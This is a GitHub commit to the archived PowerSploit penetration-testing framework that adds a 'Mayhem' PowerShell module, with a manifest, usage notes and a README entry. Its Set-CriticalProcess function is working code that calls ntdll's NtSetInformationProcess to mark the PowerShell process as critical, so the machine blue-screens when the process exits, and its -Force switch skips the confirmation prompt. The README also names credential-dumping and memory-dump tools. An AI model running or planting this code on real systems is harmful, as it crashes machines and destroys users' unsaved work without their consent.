Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 29a5d48

Browse files
author
mattifestation
committed
Adding Mayhem module and Set-CriticalProcess
1 parent 80ffa19 commit 29a5d48

File tree

4 files changed

+206
-0
lines changed

4 files changed

+206
-0
lines changed

‎Mayhem/Mayhem.psd1

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
@{
2+
3+
# Script module or binary module file associated with this manifest.
4+
ModuleToProcess = 'Mayhem.psm1'
5+
6+
# Version number of this module.
7+
ModuleVersion = '1.0.0.0'
8+
9+
# ID used to uniquely identify this module
10+
GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
11+
12+
# Author of this module
13+
Author = 'Matthew Graeber'
14+
15+
# Company or vendor of this module
16+
CompanyName = ''
17+
18+
# Copyright statement for this module
19+
Copyright = 'BSD 3-Clause'
20+
21+
# Description of the functionality provided by this module
22+
Description = 'PowerSploit Mayhem Module'
23+
24+
# Minimum version of the Windows PowerShell engine required by this module
25+
PowerShellVersion = '2.0'
26+
27+
# Name of the Windows PowerShell host required by this module
28+
# PowerShellHostName = ''
29+
30+
# Minimum version of the Windows PowerShell host required by this module
31+
# PowerShellHostVersion = ''
32+
33+
# Minimum version of the .NET Framework required by this module
34+
# DotNetFrameworkVersion = ''
35+
36+
# Minimum version of the common language runtime (CLR) required by this module
37+
# CLRVersion = ''
38+
39+
# Processor architecture (None, X86, Amd64) required by this module
40+
# ProcessorArchitecture = ''
41+
42+
# Modules that must be imported into the global environment prior to importing this module
43+
# RequiredModules = @()
44+
45+
# Assemblies that must be loaded prior to importing this module
46+
# RequiredAssemblies = @()
47+
48+
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
49+
# ScriptsToProcess = ''
50+
51+
# Type files (.ps1xml) to be loaded when importing this module
52+
# TypesToProcess = @()
53+
54+
# Format files (.ps1xml) to be loaded when importing this module
55+
# FormatsToProcess = @()
56+
57+
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
58+
# NestedModules = @()
59+
60+
# Functions to export from this module
61+
FunctionsToExport = '*'
62+
63+
# Cmdlets to export from this module
64+
CmdletsToExport = '*'
65+
66+
# Variables to export from this module
67+
VariablesToExport = ''
68+
69+
# Aliases to export from this module
70+
AliasesToExport = ''
71+
72+
# List of all modules packaged with this module.
73+
ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'})
74+
75+
# List of all files packaged with this module
76+
FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md'
77+
78+
# Private data to pass to the module specified in RootModule/ModuleToProcess
79+
# PrivateData = ''
80+
81+
# HelpInfo URI of this module
82+
# HelpInfoURI = ''
83+
84+
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
85+
# DefaultCommandPrefix = ''
86+
87+
}

‎Mayhem/Mayhem.psm1

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
function Set-CriticalProcess
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Causes your machine to blue screen upon exiting PowerShell.
7+
8+
PowerSploit Function: Set-CriticalProcess
9+
Author: Matthew Graeber (@mattifestation)
10+
License: BSD 3-Clause
11+
Required Dependencies: None
12+
Optional Dependencies: None
13+
14+
.PARAMETER ExitImmediately
15+
16+
Immediately exit PowerShell after successfully marking the process as critical.
17+
18+
.PARAMETER Force
19+
20+
Set the running PowerShell process as critical without asking for confirmation.
21+
22+
.EXAMPLE
23+
24+
Set-CriticalProcess
25+
26+
.EXAMPLE
27+
28+
Set-CriticalProcess -ExitImmediately
29+
30+
.EXAMPLE
31+
32+
Set-CriticalProcess -Force -Verbose
33+
34+
#>
35+
36+
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
37+
[Switch]
38+
$Force,
39+
40+
[Switch]
41+
$ExitImmediately
42+
)
43+
44+
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
45+
{
46+
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
47+
}
48+
49+
$Response = $True
50+
51+
if (!$Force)
52+
{
53+
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
54+
}
55+
56+
if (!$Response)
57+
{
58+
return
59+
}
60+
61+
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
62+
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
63+
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
64+
65+
# Define [ntdll]::NtQuerySystemInformation method
66+
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
67+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
68+
'ntdll.dll',
69+
([Reflection.MethodAttributes] 'Public, Static'),
70+
[Reflection.CallingConventions]::Standard,
71+
[Int32],
72+
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
73+
[Runtime.InteropServices.CallingConvention]::Winapi,
74+
[Runtime.InteropServices.CharSet]::Auto)
75+
76+
$ntdll = $TypeBuilder.CreateType()
77+
78+
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
79+
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
80+
81+
$ProcessBreakOnTermination = 29
82+
$SizeUInt32 = 4
83+
84+
try
85+
{
86+
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
87+
}
88+
catch
89+
{
90+
return
91+
}
92+
93+
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
94+
95+
if ($ExitImmediately)
96+
{
97+
Stop-Process -Id $PID
98+
}
99+
}

‎Mayhem/Usage.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
2+
3+
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
4+
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
5+
6+
To use the module, type `Import-Module Mayhem`
7+
8+
To see the commands imported, type `Get-Command -Module Mayhem`
9+
10+
For help on each individual command, Get-Help is your friend.
11+
12+
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

‎README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -196,6 +196,14 @@ Displays Windows vault credential objects including cleartext web credentials.
196196

197197
Generates a full-memory minidump of a process.
198198

199+
## Mayhem
200+
201+
**Cause general mayhem with PowerShell.**
202+
203+
#### `Set-CriticalProcess`
204+
205+
Causes your machine to blue screen upon exiting PowerShell.
206+
199207
## Recon
200208

201209
**Tools to aid in the reconnaissance phase of a penetration test.**

0 commit comments

Comments
 (0)